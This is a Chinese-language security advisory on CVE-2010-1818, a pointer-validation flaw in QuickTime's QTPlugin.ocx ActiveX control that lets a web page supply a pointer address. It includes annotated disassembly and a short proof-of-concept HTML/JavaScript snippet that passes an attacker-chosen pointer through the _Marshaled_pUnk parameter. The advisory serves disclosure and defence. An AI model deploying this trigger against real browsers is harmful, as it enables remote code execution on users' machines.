安全研究

安全漏洞
QuickTime QTPlugin.ocx控件_Marshaled_pUnk参数验证漏洞

发布日期:2010-08-30
更新日期:2010-08-31

受影响系统:
Apple QuickTime Player 7.6.7 (1675)
描述:
BUGTRAQ  ID: 42841
CVE(CAN) ID: CVE-2010-1818

Apple QuickTime是一款非常流行的多媒体播放器。

QuickTime ActiveX控件(QTPlugin.ocx)实现了IPersistPropertyBag2::Read(1000E330)来处理所接收到的param:

.text:1000E330  
.text:1000E330 ; =============== S U B R O U T I N E =======================================  
.text:1000E330  
.text:1000E330  
.text:1000E330 sub_1000E330    proc near               ; DATA XREF: .rdata:1002E0ECo  
.text:1000E330                                         ; .rdata:1002E86Co  
.text:1000E330  
.text:1000E330 arg_0           = dword ptr  4  
.text:1000E330 arg_4           = dword ptr  8  
.text:1000E330 arg_8           = dword ptr  0Ch  
.text:1000E330  
.text:1000E330                 push    esi  
.text:1000E331                 mov     esi, [esp+4+arg_0]  
.text:1000E335                 mov     ecx, [esi+84h]  
.text:1000E33B                 xor     eax, eax  
.text:1000E33D                 test    ecx, ecx  
.text:1000E33F                 jz      short loc_1000E393  
.text:1000E341                 mov     eax, [esp+4+arg_8]  
.text:1000E345                 mov     edx, [esp+4+arg_4]  
.text:1000E349                 push    eax  
.text:1000E34A                 push    edx  
.text:1000E34B                 call    sub_100031F0  

执行流:  
sub_10002980+27A  
sub_10002980+27A  loc_10002BFA:                           ; CODE XREF: sub_10002980+266j  
sub_10002980+27A                                          ; sub_10002980+272j  
sub_10002980+27A                  push    offset aType    ; "type"  
sub_10002980+27F                  push    ebx             ; lpString1  
sub_10002980+280                  call    ebp ; lstrcmpiA  
sub_10002980+282                  test    eax, eax  
sub_10002980+284                  jnz     short loc_10002C22  
sub_10002980+286                  push    edi             ; lpString  
sub_10002980+287                  call    ds:lstrlenA  
sub_10002980+28D                  cmp     eax, 104h  
sub_10002980+292                  jnb     short loc_10002C22  
sub_10002980+294                  push    edi             ; lpString2  
sub_10002980+295                  lea     edx, [esi+83Ch]  
sub_10002980+29B                  push    edx             ; lpString1  
sub_10002980+29C                  call    ds:lstrcpyA  
sub_10002980+2A2  
sub_10002980+2A2  loc_10002C22:                           ; CODE XREF: sub_10002980+284j  
sub_10002980+2A2                                          ; sub_10002980+292j  
sub_10002980+2A2                  push    offset a_marshaled_pun ; "_Marshaled_pUnk"  
sub_10002980+2A7                  push    ebx             ; lpString1  
sub_10002980+2A8                  call    ebp ; lstrcmpiA  
sub_10002980+2AA                  test    eax, eax  
sub_10002980+2AC                  jnz     short loc_10002C4A  
sub_10002980+2AE                  push    edi  
sub_10002980+2AF                  call    sub_10001310   ; SIMPLE ASCII NUMBERS TO LONG routine  
sub_10002980+2B4                  add     esp, 4  
sub_10002980+2B7                  lea     ecx, [esi+13B8h]  
sub_10002980+2BD                  push    ecx             ; ppv  
sub_10002980+2BE                  push    offset iid      ; iid  
sub_10002980+2C3                  push    eax             ; pStm  
sub_10002980+2C4                  call    ds:CoGetInterfaceAndReleaseStream  ; WE HAVE A WINNER!!  
sub_10002980+2CA  
sub_10002980+2CA  loc_10002C4A:                           ; CODE XREF: sub_10002980+2ACj  
sub_10002980+2CA                  push    edi             ; int  

QTPlugin.OCX控件检查对象的属性中是否存在_Marshaled_pUnk,如果存在就通过将地址从ASCII表示转换为数字表示(sub_10001310)进行散列,之后将所生成的指针用作了pStm(所要散列流上指向IStream接口的指针)CoGetInterfaceAndReleaseStream以获取所列集接口的IUnknown指针(pUnk),这样就获得了对IStream指针的控制。

<*来源:Ruben Santamarta (ruben@reversemode.com
  
  链接:http://secunia.com/advisories/41213/
        http://www.exploit-db.com/exploits/14843/
        http://marc.info/?l=bugtraq&m=128328769807164&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

addr = 354552864; // 0x15220C20 [pUnk]    

var obj=  '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'  

       +'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'  

       +'<'+'/'+'object>';

https://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/brow

建议:
厂商补丁:

Apple
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.apple.com

浏览次数:3294
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障